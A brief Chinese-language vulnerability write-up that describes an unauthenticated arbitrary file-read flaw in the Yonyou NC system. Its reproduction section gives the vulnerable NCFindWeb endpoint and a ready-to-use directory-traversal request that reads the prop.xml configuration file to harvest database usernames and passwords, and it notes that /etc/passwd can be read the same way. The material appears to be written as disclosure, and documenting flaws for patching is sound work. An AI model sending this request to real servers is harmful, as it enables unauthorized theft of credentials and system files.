用友NC任意文件读取漏洞

一、漏洞描述

根据分析，用友NC系统存在任意文件读取漏洞，在无需登陆系统的情况下，通过某接口可以直接读取服务器上的任意文件。

二、漏洞复现

访问系统首页显示如下

目录、文件泄露接口

/NCFindWeb?service=IPreAlertConfigService&filename

在某些情况下可以读取利用目录穿越读取/etc/passwd等文件。这里以读取默认配置文件为例，可以获取数据库账号、密码等信息

/NCFindWeb?service=IPreAlertConfigService&filename=../../ierp/bin/prop.xml